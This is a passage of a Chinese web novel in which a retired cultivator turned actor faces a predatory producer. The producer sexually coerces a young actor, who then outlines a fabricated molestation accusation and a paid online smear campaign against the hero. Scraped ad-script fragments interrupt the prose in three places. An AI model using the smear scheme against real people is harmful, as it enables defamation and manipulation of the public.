陆时顿了顿,继续道:“不过因为那会儿选秀节目太多,跟群魔乱舞一样,光电为了肃清乱象就出台了禁止选秀节目开办。” 系统猫道:“那你们岂不是都受到了影响?” “嗯,出道变得遥遥无期,所有人只有底薪可拿,也是在那时候我帮他在附近找了个房子,就这么认识了,不过后来就没什么联系了。” 系统猫想起了对方先前的自述,试探问道:“难道说你就是在那时候出的道?” “算是吧,以前的同学所在的单位要制作一个宣传剧用来在市区宣传,正好缺个演员,就把我挖了过来帮忙串了个角色。谁知道那部剧成片后被上级单位看上了大力推广……我就这么稀里糊涂出道了。” “不过因为我演的角色形象跟我自己形象相差过大,也没多少人记住我就是咯。” 陆时看着还处在浑噩中的谢安然,继续道:“至于他跟我的恩怨,则是他当时凭借四处疏通关系拿到了一个网剧的三番,他本想以此跟经纪人谈判获得更好的资源,结果……” “结果因为你先火了,公司就将那些东西全给你了?所以他就记恨上你了,认为是你抢了他的风头?” 陆时点头:“嗯,差不多。”他没说,对方之所以会答应林彤那么爽快,想红是一方面,更是为了打脸自己一雪前耻。 系统猫气笑了:“这都啥都跟啥啊,陆时,你打算怎么办啊?” 陆时道:“不管他吧,反正我都打算退休了,这些东西也不需要再去在意,他想说就任他说吧,我又不会少一块肉。” 话音落下,他也随即收回了查探的神识。没了桎梏之后,谢安然立刻回神:“我刚刚怎么……” 他还没搞清楚情况,面前的陆时突然开口对他说道:“送你句忠告,离那个姓王的远点,否则你不会有好下场的。” “哈?你在威胁我?陆时,你看来还分不清自己的处境——” 陆时也没跟他解释:“该说的我都说了,信不信随你。”说完,直接转身离开。 被丢在原地的谢安然顿时破口大骂:“陆时!你给我等着!我绝对不会放过你!我要让你身败名裂!” 陆时连搭理他都嫌掉价。 系统猫哼唧道:“陆时,你刚刚那句话好霸气!我喜欢!”它突然来了兴致:“你是不是打算整死那个姓王的?” 陆时无奈:“不是。” “不是?!你刚刚那不是威胁?” “我不是说了么,是忠告。” “啊?为什么?” 陆时回想起自己在谢安然回忆中看到他和王制片搅和在一起时对方背上那堪称诡异的纹身,缓缓道:“因为那个姓王的,在修炼邪功,采阳补命。” 12. 驱狼吞虎 “啥?邪功?” 陆时点头:“嗯,不会有错,那个印记我有印象,合欢宗就是用它来教授弟子采补。” 他也终于明白在选角大厅初次见到王制片时,那股挥之不去的作呕感从何而来。 明明当时对方穿着一身高级西装、头发也梳的一丝不苟,长相也正派,和他接触过的男男女女无不夸赞他气质俱佳。 现在看来,就是那份邪功在作祟。 他突然有些惊讶,不是对修炼邪功的王制片,而是当时能感知到不对的自己,那时他只是个普通人才对…… “那他岂不是也是修士?”系统疑惑地询问打断了陆时的沉思,他摇了摇头,道:“严格意义上来说,不能算是。” “因为那是最基础的功法,只能延长寿命,若想要凝聚灵力则需要再修行另一种功法补充,现在的他就只是一个活的更长一点的普通人。” 系统猫哦了一声,有些失望。 “怎么了吗?” 系统猫道:“如果他是修者,你就可以一刀把他砍了啊。强者至上,这不是修者的规矩么?” 陆时哭笑不得:“修者也是人,在现代社会,杀人是犯法的。而且你有没有想过,他突然死亡,我这个跟他有过最大过节的人,难道一点都不会被怀疑么?” “凭你的实力杀人不留痕不是轻而易举?” “那只会增加我的可疑度,就算他们找不到证据定我的罪,但我也会被折腾的烦死,到时候退休的休闲日子就别想了。” “你说的也有道理。”系统猫烦躁地甩着尾巴,问道:“那该怎么办?总不能什么都不做吧?就这么算了我可咽不下这口气。” “当然不会。” 陆时突然对系统猫说道:“统子,还记得我们回来的时候看到的那几个疑似官方人员的修者么?帮我查一下他们具体身份跟负责的职责。” 系统猫瞪大了猫眼:“你要借刀杀人?” 它兴致冲冲地开始查询,一阵搜索后,它告知了查到的答案:“他们是太玄司的法卫,职责是拘捕非常规罪犯,管辖的主官有三个人,分别是修真界三大宗的宗主,虎牢山寺寺主、太仓派掌门、荣御阁阁主……” 陆时听着感叹道:“看来这个世界远比当初我以为的还要复杂的多啊。”微叹了一口气,又回答系统猫:“只是吸人点精气,构不成死罪,但他们无疑是最适合出手的存在,帮我查一下他们的联系方式吧。” 系统猫愤愤不平:“不是,陆时你就这么放过他了?他都那样对你。” 陆时淡然自若地扯开了话题:“到家了,我去做饭,晦气的话题就先终止吧。” 他将系统猫放在沙发上,留下零食,自己拿着菜挂着浅笑去了厨房,好似真的一脸不在乎。 但系统却发现了那抹笑容背后的意味深长,立刻惊喜道:“这样才对嘛!我就知道,陆时你才不是那种良善的人!” 它满脸好奇:“你打算怎么做?什么时候下手?现在吗?” 陆时正在切菜,没有回头,随口答道:“得等一个时机。” “什么时机?” 陆时道:“你很快就会知道了。” 系统猫撇嘴:“都多少年交情了,你还瞒着我,有没有意思……” 在嘀咕声中,陆时将一盘炒好的小鸡摆在了系统猫的面前:“你要的鸡,尝尝吧。” “好嘞。” 系统猫顿时将不满抛之脑后,一个虎扑跳上了餐桌,叼起一块色泽金黄的鸡肉就送进嘴中,猴急的连嚼都没嚼就吞咽进了肚子里。 随即,脸上的期盼逐渐转为了疑惑。 “额……” 陆时抱臂饶有意味地问道:“怎么样?” “还……还不错?” 但眼中的勉强不难让人分辨是在高情商发言。 陆时轻笑一声:“不用顾及我什么,我都说了,我的厨艺只能说一般。” “至于你说封烬吃得香,他也只是跟你一样,为了顾及我的颜面刻意说的吧。他自己就是一个大厨,能吃不出好坏来?” 被骗的系统猫不忿地说道:“他演技可真好,跟真的一样,连我这么英明神武的统都被他给骗了!” 陆时笑了笑,没继续这个话题:“所以你还吃么?” 系统猫立刻拒绝道:“不了!我就只是尝个味儿!我吃零食就好!”又急忙补充:“不是嫌弃你啊。” “我知道,你吃吧。” 他起身朝厨房走去,系统猫见状不解问:“陆时,你还去厨房干什么啊?” “不是还买了些食材么?既然火都开了,我想就都给它做了解决掉,浪费总归有点不好。你吃零食吧,家里有wifi,你用不着再偷主神的网了,密码是……” 系统猫顿时感动不已:“陆时你人真好!我爱死你了!” 陆时没回,将剩余切好的菜依次下锅炒熟,凑了个两菜一汤。 味道算不上多么好,但也绝不是难以下咽,他对此早已习惯,不快不慢地吃完了一顿饭。 在准备去洗碗时,原本撅着个大腚趴在沙发上追剧的系统猫突然蹦跶了过来:“碗就交给我来洗吧!” 陆时下意识拒绝:“不……”却被严词厉色打断:“咱可是有担当的统!干不出白吃白喝的无赖事来!而且……” 系统猫的目光缓缓下滑,停在了陆时的小腹上,那张大脸盘子猫脸上竟浮现出一抹堪称诡异的慈祥:“你们这孤儿寡父的,我这个当统的不得多照顾点?” “……” 原本还有一丝感动的陆时嘴角止不住地发抽。 系统猫继续道:“陆时,你放心,我绝对会让你幸——哎哎哎放下放下!” 系统猫被陆时抓住了命运的后脖颈拎了起来:“我在你眼里就是这么个贫弱形象?” “人家不就是想多照顾照顾你么……” 陆时有些反胃:“少看点奇奇怪怪的剧,很恶心。” 系统猫立刻90度鞠躬:“私密马赛……我这就去洗碗。” 陆时没有阻止,相反他也很好奇,一只猫怎么洗碗,猫爪怎么也不像是能拿稳抹布的样子。 但很快,他就发现自己思维狭隘了。 只见系统猫就地取材,将自己毛茸茸蓬松的大尾巴当刷子用,哐哧哐哧地摇着屁股转折花儿地刷碗,嘴里还在哼唧着歌,全然没有发现洗洁精被甩的满地都是:“洗刷刷洗刷刷蹦蹦——砰!” 陆时终究是没忍住赏了这只毫无节操的系统一个板栗。 “不用洗了,碗我不要了。” “啊?这不符合你个……” “再说一句,你我也不要了。” 系统猫慌忙捂嘴,看着陆时收拾屋,尾巴心虚地耷拉了下来。 在将系统猫弄得残局收拾完毕后,陆时打从心底觉得深深的疲累,他进了浴室准备冲洗个澡,却发现自家浴室中多了个放满水的浴缸。 他忽然想到了什么,躬身一看,在浴缸外壁上撕下来了一张便签,用扭扭捏捏地字体写道:“陆时,我错了,是我激动的有点得意忘形了,这个按摩浴缸是我给你买的赔礼,舒舒服服泡个澡再美美的睡一觉吧……” 后面还跟着一个猫爪印。 “又没真的在怪你……” 陆时将这张便签纸折好放在水打湿不到的台子上,褪下衣服步入跨进浴缸中。 暖洋洋的热水包裹住了身躯,这是从前从未有过的体验,紧绷的肌肉逐渐松缓下来,陆时发出了惬意地一声喟叹。 他抬手覆在平坦的小腹上,感受着那微弱的气息在跳动,忍不住道:“放心,绝不会让你重蹈我的覆辙……” 酒店顶层,总统套房。 谢安然拿着房卡推门进屋时,王康文正在跟人打电话,他几乎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是下意识出门留出空间,但突然传进耳朵里的一个熟悉名字令他停下了脚步。 王康文身体前倾,呈恭敬姿态对电话那头的人说:“您请放心,陆时那边我会处理好的……” 电话挂断后,王康文笑容荡然无存,不爽地啧了一声,嘴里暗骂道:“贱人,神气什么,不就是比我先进两天么……” “王制片!” “谁?”被吓了一跳的王康文猛地回头,在发现来人是谢安然后,脸色才有所缓和:“是你啊,谢安然,对吧?” 谢安然有些惊讶:“是的!您竟然还记得我!” “记得,怎么不记得,昨晚你别提给我伺候的有多舒服,我怎么会不记得你是谁呢?”王康文脸上挂着笑容,朝他伸出了手:“过来。” 沉浸在喜悦之中的谢安然全然没有发现对方眼底的轻蔑,快步走上前:“您找我是有什么事……啊!” 他被直接拽进了王康文的怀里,还没反应过来,衣服已经被挑开,对方却没有停手的打算,手一路攻城略地地下滑—— 谢安然脸上笑容有一瞬僵硬:“王制片,您……” 王康文挑眉问他:“你要拒绝我?” 会想着对方的身份,谢安然一狠心,急忙摇头:“怎么会,我已经按您的意思退租,行李就在门外,我以后,就是您的人,还请王制片照拂……” “……” 一刻钟后,神清气爽的王康文夸赞道:“做的不错。” 闻言,大口大口喘着粗气的谢安然一扫疲惫爬了起来,忍不住对王康文道:“王制片,我刚刚听你在谈陆时?” 王康文的眼神一凛。 谢安然没有发现,此刻他正沉浸在愤怒之中,对王康文控诉道:“王制片,您不知道他这个人究竟有多不知道好歹!” “我今天在路上遇见他了,他不是打了您么?我就想着让他来向您道歉。” 王康文皱眉:“但他没来,你没跟他说我要封杀他?” 谢安然装出愤愤不平的模样:“我当然说了,还跟他分析利弊,让他向您低头。可他非但不接受我的好意,还在叫嚣着说要我滚,还说绝对不会放过您,要让您身败名裂!他这人怎么能这么过分!” 王康文正要发火,缺突然察觉到谢安然眼底浓浓的恨意,突然心生一计,道:“谢安然,你知道刚刚跟我打电话的人是谁吗?” 谢安然一愣:“不知道……” “是刘导。” “刘导?《过千山》的总导演刘明强导演?他怎么会突然提起了陆时……” 谢安然整个人变得惴惴不安。 王康文对此无比满意,但面上却维持着为难之色:“刚刚刘导在问我陆时为什么不拒绝出演男二,还说,一定要我让他继续出演。” 谢安然焦急地抱住了王康文的大腿,慌不择言地说道:“王制片,您不是说好让我出演男二的吗?” “我当然记得,只是你也知道,《过千山》的选角都是刘导在负责,他对陆时很满意,我也无法决定……” 谢安然如遭重击,抱着头不知所措:“那我的角色岂不是没了?不,不……陆时!你这个贱人,又抢我的东西!” 看着他几乎溢出眼底的恨意,王康文知道时机到了,故作无意地说:“其实未必也没有办法。” 谢安然立刻投来了视线:“是什么?” “刘导虽然拥有决定任免的大权,但那是基于演员自身没有问题的情况下。如果陆时的名声臭了,那么青果TV自然不会冒这个风险启用会影响票房的劣迹艺人……” 王康文叹了一口气:“你也知道,我王康文对自己人可是出了名的好,《过千山》的二番既然已经拿不到,我可以给你补个其他剧的男二……” 谢安然顿悟,眼中闪过一丝偏执的疯狂:“我有办法可以彻底毁了陆时的名声!王制片,请你帮我!” 13. 计划落空 谢安然兴致冲冲地放下了手机对王康文邀功:“王制片,都已经安排好了,只要陆时上那《丛林生存》,等待他的就是名声尽毁!” “哦?” 谢安然立刻解释起了自己的布置:“王制片,我跟节目组都沟通好了,分组的时候会把陆时分给我买通的那个女网红组队。她会假装崴脚骗陆时去背她,后等拍摄结束后,她就会用小号控诉自己被猥亵!” “不能用大号发吗?” “大号太直接,会让人质疑其真实性。用小号发更符合她的身份,毕竟网红在明星面前,永远是更低级的存在。” 王康文来了兴趣:“那怎么把这个小号跟陆时联系在一起?” 谢安然道:“我已经问清楚了,那个女网红有个十八线刚出道的朋友,她会在一次户外采访中‘不小心’爆出女网红的小号。紧接着我早就买通的几个营销号就会把陆时扒出来,给他扣上猥亵男的帽子!” 王康文喃喃道:“但没有证据,真的会有人信吗?” 谢安然信誓旦旦地说道:“王制片,您忘了,这里可是娱乐圈不是法院,只要你声音大,黑的都能说成白的!” “我们只要等这场风波闹得最大的时候,让那个女网红删掉微博,露面委屈地哭上两句道歉渴求息事宁人,装作被强权威胁的样子,就能坐实陆时的罪了!” “我再出来以同期的身份暗指他耍大牌,带两句节奏,一定能煽动很多不明真相的正义网友来声讨陆时打抱不平!” “届时,就算他陆时长了几百张嘴,也有理说不清!” 谢安然声情并茂描述着自己的计划,说到最后,他难掩激动:“就算刘导以前再怎么看好他,也绝不会冒着网友的声讨再选择他!” 王康文不吝称赞:“不错!你这计划很周道!” 谢安然谦卑地奉承道:“哪里哪里,这也是多亏了王制片您的鼎力相助,如果没有您出面协助联络各大导演,我也不会那么容易说服那个女网红,安排好这一切。” 王康文得意忘形地喃喃道:“陆时,等你变成人人喊打的过街老鼠,还不让我随意拿捏?” 这时,手机想起了来电铃声。 谢安然立刻投去了视线,在看到来电的是林彤后,激动地溜须拍马:“王制片,看来是陆时答应参加了!这桩算计的成了!” 王康文按下了接听:“都弄好了?” 然而接下来林彤的回答却与他预想中大相径庭。 她支支吾吾地说道:“不好意思,王制片,陆时他拒绝了《丛林生存》……” 两人立刻变了脸色:“什么?拒绝了?” “他陆时傻了吗?那可是《丛林生存》,他竟然会拒绝?!” 十分钟前,榕城新寓。 霓虹灯点缀了这座城市的繁华,市中心的街道上扎根满了小贩,结伴的行人川流不息。 但在落败的老城区夜色就是沉入梦乡的开场,静谧是难以更改的基,洗完澡的陆时换上了睡衣,正在擦头发,忽然,被随手放在桌子上的手机发出急促的铃声。 他拿起一看联系人,脸上顿时浮现出玩味的表情:“果然来了啊。” 系统猫见状不住好奇,凑上前问道:“陆时,是谁啊。” 陆时答道:“机会。” 机会? 系统猫立刻想起了陆时先前说的复仇的契机,急忙竖起耳朵仔细倾听。 陆时按下了接听键,听筒中顿时传来了熟悉的女人声音:“陆时,为什么这么久才接我的电话?” 系统猫愣了一下才反应过来她是谁:“这不是你经纪人么?” 陆时冲它点头,又平静地对听筒反问道:“你找我有什么事?” “你——” 林彤被噎的不轻,但最终没有发作,冷着声音说:“《丛林生存》这部综艺听说过吧?” “他们导演今天给我打来了电话,说让你做下一期的特邀嘉宾。你表现好了翻红指日可待,你好好给我准备,听见没有?” “没问题明天来公司签个合同……” 陆时打断她的自说自话:“我什么时候说过我要参加了?” 林彤一愣,随即因为过度震惊,声音陡然拔高:“你要拒绝?这可是的这可是蓝台top前三的大热门综艺——” 咔。 陆时直接挂断,并且好不拖泥带水地将人拖进了黑名单中。抬头看着一旁满脸不解的系统猫,陆时淡淡解释道:“王康文虽然是个渣滓,但他在这行的确算是响当当的一个人物。” “我把他得罪的这么狠,前脚说要封杀我,后脚就有综艺,还是热门大爆综艺,不是陷阱还能是什么?” 系统猫惊愕地瞪大眼:“也就是说,他们要整你?可这跟综艺有什么关系?” “《丛林生存》顾名思义,生存求生综艺。嘉宾会被投放到一个荒无人烟的地方,用尽方法生存多少天。” “当然,为了保证安全,自然不可能真的选择无人区。节目组会布置一个场地,虽然说跟真的无人区相差甚远,总归是够隐蔽的场所,最适合做些小手脚……” 陆时总结道:“他们大概是设计了什么阴谋陷阱,目的是毁了我的名声什么的吧。” 系统猫义愤填膺:“这群人渣可真是卑鄙!” “等等!”它忽然想起了刚刚陆时说的机会:“难道说,你已经想好怎么对付他们了?” “嗯,既然他们不长眼主动犯上来,就顺手把他们料理了,正好省得我再跑一趟。苍蝇这种东西虽然伤不了人,但总归是膈应的荒。” 陆时点头:“统,明天要请你帮个忙。” 系统猫一口应下:“要我做什么,尽管说,赴汤蹈火不再话下!”它好奇:“不过为什么是明天?” 对此,陆时振振有词地回答:“我都可以,只不过,你确定想加夜班?” 系统猫立刻摇头:“明天也挺好的!”甚至主动催促:“陆时,你快去睡吧,我床都已经给你铺好了。” 陆时没有拆穿对方偷懒的小心思,点了点头进了自己房间。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 打量着跟记忆中毫无差别的房间,就连一些小摆件的位置都分毫不差,陆时才真切有了回归的真实感。 拉开被子躺了上去,床垫不是乳胶垫或是其他名贵品牌,只是在木板随便垫了一层薄被,硬的板正。四件套也是寻常棉质,因为用的年限过长已经开始卷边,幸而花纹简单,掉色并不明显。 不说比不过天诛宗,就是元初界任一一个修者的洞府,都比它要来的舒适。 但这里却有着那些奢华的场所一辈子都不可能给陆时的东西,安宁。 因为这里是他的家。 旅店再舒服,也永远取代不了家。 这一晚,是这八百年来陆时睡得最舒服的一晚,浑身上下积攒的疲累也像是被一扫而空,他整个人都变得焕然一新。 用刚通宵完准备补觉,却被陆时一把薅进怀里抱出门的系统猫来说,如今的陆时整个人都散发着奕奕星光。 望着毫无违和感的混在一群老年人队伍里,一起上了公交的陆时,系统猫打了个哈切,忍着困意,问道:“陆时,不是要去弄那个姓王的么?怎么去的是……”系统猫瞄了眼车内的车辆行驶路线:“郊区?” 陆时解释道:“王康文不是在修炼邪功么?从他的熟练程度来看,谢安然绝不是第一个遭受到他迫害的。” “你难不成是想找其他的受害者?” 陆时点头:“嗯,我昨天查了查王康文身边人的情况,发现有一个叫柳文的男明星就在榕城。” 他在手机上输入了柳文的名字,将网上找出来的剧照发给系统猫看,它评价道:“长得还不错,挺儒雅俊秀的,当然,我觉得你长得更好看。” 陆时扯了扯嘴角:“漂亮话就少说点吧,你再看看这个。” 陆时点进收藏里的网站,只见上面赫然写道:昔日灵气十足古装小生如今模样,配图则是一张模糊的抓拍——那是一个完全看不出人样的男人。 他像是被吸血鬼吸干了血肉,不再紧实的皮肤从骨头上耷拉下来,像是只沙皮狗一样堆砌在一起,又丑又渗人。 一张脸也早已变了样子,但看到那双极有特色到过目难忘的桃花眸时,系统猫也还是叫出了他的名字! 它难以置信:“你别告诉我这是柳文?” “是他。” 陆时下滑给系统猫看了评论区,其中不乏跟系统猫抱着同样难以置信的网友。 “好家伙,你说这是妖怪我都信,结果你告诉我这是柳文?我的童年男神?” “不可能!绝对不可能!柳哥早就退圈了!这根本不是他!造谣可是会收到律师函的!” “但这双眼睛除了柳文之外你们还见过谁有?” “反正不可能是柳哥……” “……” 系统猫用肉垫扒拉回去,对着那张照片仔细观摩后,不得不承认这个悲催的事实。 “还真是他,他不才是四十岁不到吗?难道说——” 陆时关了手机,摸着系统的毛皮,说道:“嗯,王康文干的。” 14. 借刀杀人 系统猫了然:“所以你要找我帮忙是为了找出柳文的位置吧?”它立刻就准备着手行动:“我这就黑进网络系统。” 然而陆时却摇头打断:“不是,他我已经找到了。” 半小时后,在陆时的带领下,一人一猫抵达了小报拍摄到柳文的地点——郊区外一个靠近山脉的荒僻的村落边缘、一座长满了爬山虎,显得鬼气阴森的低矮平房。 如果不是围墙边缘有晾晒的衣服,系统猫都要怀疑这是一座鬼屋。 “柳文就住在这里?” 这个问题显而易见,因为在它话音落下的那一刻,只听吱嘎一声,木质的大门被推开。 他们在所找寻的对象一半身体缩在黑暗笼罩的房屋内,他缓缓抬起头,一张比照片上还要恐怖数倍的脸映入二人眼帘,系统猫被吓得发出嗷呜一声尖叫。 “他他他他在看我们!” 陆时点头,道:“当然,我们不正是来找他的么?”迎着那双已经几乎脱相的桃花眸上前,一脸淡然地对满脸警觉地柳文道来了来意:“造成你这样的罪魁祸首,你恨他吗?” 几乎不用提及那人的名字,柳文眼睛里顿时露出了可怕的阴鸷:“恨!怎么能不恨!他毁了我的一切!财富、地位、甚至是容貌!我恨不得生啖其肉!” 系统猫也终于缓过神来,小声跟陆时交谈道:“你是想利用柳文帮你出面撕下来王康文歹毒的真面目?” “差不多是这样。” 闻言,系统猫立刻期待地看向柳文,然而预想中感激涕零的场景始终没有出现。 “哎?” 只见柳文眼珠子骨溜溜地转了一圈,在上下将陆时打量了个遍,像是察觉到了什么一样,目光停在陆时的脸上,脸上露出意味深长的笑容:“哈!看我发现了什么?这不是我们刚用强硬手段拒绝了作呕臭虫的陆大明星么!” “你的英勇事迹我可是早有耳闻!这会儿不应该在医院里躺着么,怎么会来找我?” 他自说自话,完全没有给陆时插嘴的机会:“啊,我知道了,你是认识到光凭你一个人的力量无法抵挡住那只臭虫的报复,所以来这里寻求援手来了吧?” 啪、啪。 他拍手鼓起了掌,围绕着陆时转了一圈,神情癫狂,说出的话毫无道理可言:“好好好,能认识到这一点!证明你不是个蠢人!但也仅此而已了!” “不管你是求援也好,结盟也罢!我都没有兴趣!” 柳文手掌攥拳当成一个话筒递到了陆时嘴边:“是不是很想知道为什么?明明我这么恨他,却不敢对付他?” 说到最后,声音早已破音。 就在他准备收回去时,陆时缓缓开口:“因为你知道,只跟一个小明星合作,是扳不倒王康文的。” 撤回去的手僵住,癫狂的柳文脸上总算多了几分认真,除此之外,还有考究和打量。 面对这窥探的目光,陆时并无半分不自在,缓缓道:“我是跟王康文有仇不假,也想除掉他。但你弄错了一件事,我之所以来找你,并不是因为我收拾不了他,而是不便。” “哈哈哈哈——” 柳文仿佛听到了什么极为好笑的话,捂住肚子笑得上气不接下气:“你如果真这么厉害,还用得着我?是不是车祸把你脑子撞傻了!让你没点点逼数!” 笑完后,柳文眼里多了几分微末的怜悯。 “啊,你可能还不知道王康文除了身份之外,还隐藏了什么底牌吧!” 他眼神一黯,生气荡然无存。 “算了,这些说了你也不会信,给你个忠告吧。不能屈服他,否则,我这幅人不人鬼不鬼的模样,就是前车之鉴!” 说完,柳文就要关门结束会面,却惊讶地发现,不论他怎么用力,那门就像是焊在墙上一样纹丝不动! “这是怎么回事?坏掉了吗?” 正呢喃着,接下来所发生的一切颠覆了他的想象—— 陆时探出一指点在门板之上,只听咔的一声,这扇厚重的木门轰然崩碎成无数碎木渣! “什么?” 变故发生在一瞬间,等柳文反应过来发生了什么的时候,脑海中生出的第一念头就是自己出现了幻觉。 然而感受到脚上传来的怪异触感,他低头一看,发现地上堆满了一大堆木碎屑后,他傻眼了! 噗的一声,他被吓得摔在了地上,却顾不得疼,而是抓起大把的木屑放在眼前疯狂地思考,以试图找出一个合理的解释方法。 但想来想去,最终,他的目光再次落在了陆时身上。 只不过这一次,他的眼神比起以前多了几分清明和认真。 柳文笃定地说道:“这一切是你做的!” 陆时没有否认。 在这时,系统猫站了出来,开始报先前他得意忘形的仇恨:“哼,别说一块门板,就是王康文,陆时想要弄死他,比掐碎一块门板也难不了多少!” 柳文再次被刷新了三观:“猫、猫会说话?”蹬蹬手脚并用倒退几步,惊恐地称谓脱口而出:“妖怪、你是妖怪!滚开!别吃我!” “你特……” 陆时按住了即将暴走的系统猫,继续先前的正事:“我不是什么出名的明星,但你却依旧能一眼认出我是谁,还说明白了我住院的内情……看来,你是在跟踪王康文吧?顺带发现了他将我视作了新目标的事。” “你一直没有放弃复仇,之所以没有行动,也正如你说的那样,畏惧他的一个邪修身份吧?” 柳文此刻已经逐渐从难以置信的事实中回过神来,脸上恢复了冷静:“你说的没错。” 他从地上站了起来,抬头看向陆时,道:“我大概明白了你的来意,你不想放过王康文,但你也不想自己出面招惹上嫌疑,所以,你找上了我,你要利用我。” “可以这样说。” 柳文眼睛里忽然闪出了亮光,迫切道:“我可以答应,但我有个条件……” 陆时一眼就看出对方心中所想:“你的容貌我无法恢复。” “什么?” 柳文眼里的光芒瞬间熄灭,拳头猛然攥紧,充满了不甘。 陆时缓缓道:“你也说了,是利 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 用,而不是合作。” 系统猫用肉垫扒拉着自己的胡须,露出一个奸商的模样:“他害你沦落到这个样子,要是我,就是倒贴钱我也愿意上!” “你想好了,遭受到他迫害的人不止你一个,你不愿意做,可有的是人愿意去合作。” “是手刃仇人大仇得报,还是愤愤不平地把遗憾带进地狱?” 柳文却依旧在犹豫,直到陆时轻捏了系统猫的皮毛,令它有所收敛后,抛出最后砝码:“但被吸走的生命力能够重新回到你自己的身上。” 柳文眼里的犹豫瞬间散去,他坚定地问到:“我该怎么做?” 陆时道:“你要做的很简单,就是把你这些年收集到的资料全部曝光出去就好了。” 柳文懵逼:“就这样?没了?” “嗯,王康文今年快五十多了,知名制作人驻颜有方的秘密竟是……这一定能吸引很多的话题吧?” 陆时道:“至于剩下的先不急,一步一步来,王康文逃不掉的……” 从柳文家离开后,陆时又跑了一趟市中心,目的地是当初王康文选定想对他下手的酒店,这一次,系统猫派上了用场。 再将空缺的一环补上之后,陆时便准备打道回府,只是在此之前,他和一个不速之客相遇上了。 “你是……陆时?” 陆时停住脚步顺着声音传来的方向望去,就见一个五十岁、精神矍铄的老人大步走到陆时的面前停下,一双并不浑浊的老眼审视着陆时,无形的压迫感十足。 系统猫好奇:“这是谁啊?” 陆时刚想回答不知道,老人走来的方向跑来了一个穿着T恤衫、球鞋、带着棒球帽,跑的气喘吁吁的青年:“爷爷啊,我的亲爷爷,您等等您的宝贝孙子啊!” 等看清了对方帽子下那一头堪称辣眼的粉毛后,陆时也有了印象,对系统猫道:“算是我的同期,刘梓旭。而他喊爷爷的老人,另一个身份是《过千山》的导演,刘导。” 如果说他被刘导选中为男二是合了眼缘,而吸引这桩大制作来他们这个小演艺公司选角的原因就在于刘梓旭。 系统猫不解道:“刘导找你干什么?难道是来骂你的?” “不清楚。”陆时也不关心,此刻,他的目光却被刘梓旭所吸引。 近乎直白的目光立刻吸引了对方的注意,在发现面前人是陆时之后,刘梓旭顿时面露嫌恶:“你怎么会在这里?哦,我懂了!你一定是缠着我爷爷要角色!” “我就知道,像陆时你这种人就是个不安分的……” 砰。 他说的正起劲,突然脑袋上多了一个大板栗,随着嗷呜一声的哭嚎,刘梓旭看向刘导的眼神无比委屈:“爷爷,为什么要打我……” 刘导嫌弃道:“因为你蠢!” “啊?” 刘导没搭理他,而是睁大眼睛盯着陆时左看右看许久,忽然一拍手,道:“像,简直太像了!简直就是直接从剧本里走出来一样!” 他突然一步上前,伸手抓住了陆时的手,道:“你身份证有带在身上吗?” 15. 层出不穷 陆时还没有什么反应,一旁地刘梓旭却像是被踩到了尾巴一样整个人跳了起来! “陆时!你都对我爷爷做了什么?你个狐狸精——” 砰! 刘导又一个大板栗敲在了刘梓旭的头上,辞严厉色地打断他跳脱的思维:“龟孙子,你瞎说什么呢!把你爷爷当什么人了!” 刘梓旭抽泣着一脸可怜的样子:“嘤!爷爷你打我!” 换来的却是喝斥:“滚一边去,别碍事!” “是……” 他不爽地挪走了,末了,还狠狠瞪了陆时一眼,用双指比划了眼睛,充满了警告意味。 系统猫都无语了:“不是他有病吧?”抬头就见陆时一直在看他,立刻劝解道:“陆时,你别跟他一般见识。” 陆时道:“你误会了,我看的不是他,而是他身上的东西。” 他有意所致地指了指对方脖子上戴着的东西。 “不就是一个脖链吗?有什么特别的……”下意识运行了搜查程序的系统猫看着得出的结论大惊失色:“好重的阴气,这、这、这是……” “冥器。” 道出答案的陆时微不可察地叹了一口气,道出了憋了多时的疑惑:“统子,你真的没有帮我送错地方吗?我怎么感觉这里不是我记忆里的蓝星?” “呃,是没错的吧?” 陆时侧头比了个眼神:“解释解释?” 从发现原本只以为是想潜规则自己的人是吸人生命力的邪修,到超乎常人的特殊部门和部门成员,如今身边随便遇到一个人就是正在遭受非人之物的折磨。 即便心宽如陆时,都不禁对未来的退休生涯持悲观态度。 系统猫疯狂挠头:“这个么,应该、好像,只是个……巧合吧?” 这话说出来它自己都心虚。 幸运的是在陆时再次开口之前,一旁的刘导忽然重重咳嗽一声,吸引了一人一统的注意。 刘导压抑不住心中喜悦,对陆时说道:“你就是我设想中的修士该有的样子!简直就是从剧本里走出来的一样!《过千山》的男二我非你不可!” 他上前一步,道:“没问题我们现在就签演艺合同吧!就算身份证没带也没关系!” “原来要身份证是因为签合同?”系统猫刚松了一口气,又猛地反应过来:“哈?那个姓王的畜生不是都封杀了你吗?怎么现在又说要让你继续演?” 它脑中顿时冒出了两个大字——猫腻! “陆时,他一定是想坑你!你千万不要上当!” 但陆时却摇了摇头,道:“刘导不会做这种腌臜事,他是出了名对自己的作品严苛,某个角色非某一个人不可这种事情我也有所耳闻。” 说着,陆时望向眼前一脸势在必得的陈导。 “原来是这样……那陆时你要不就答应下来?我想那个姓王的得知这个消息后,脸色一定会非常难看……” 陆时却平和地说道:“抱歉,刘导。” 刘导一愣:“什么?” 陆时道:“我不想出演《过千山》,感谢您的邀请。” 这次不止是刘导,就连被赶到一旁强制闭麦的刘梓旭都震惊了,好一会儿才从嘴里憋出来一句臭屁:“陆时,你脑子坏了!竟然拒绝我爷爷亲自邀请?” 他怒气冲冲地撸起袖子想要上前理论,却再次被刘导拽住了衣领给甩了回去。 “为什么会拒绝?”刘导眯起了眼,显得压迫感十足:“不是我老刘自夸,你应该知道青果那么大笔的投资加上我亲自指导,《过千山》的最终目的是什么。” “爆火然后留名影史口碑收益双丰收。” 刘导满意地点头,用期盼地目光看向陆时:“所以?” “我依旧拒绝。” 刘导问:“理由。” 陆时毫不迟疑地说道:“累了,想退休了。” “我记得你跟梓旭是同一个经济公司?你的合约还没过期吧,公司准你拒绝吗?” 系统猫瞪大眼:“他是在威胁你?” “不是,只是单纯地提问而已。” 陆时不卑不亢地答道:“他们会主动跟我解除合约。” 果然,刘导没有不爽,反而脸上多了几分了然:“看来你已经决定好了,行吧!不演就不演!” 他也没有纠缠,直接转头就走:“梓旭,走了!” 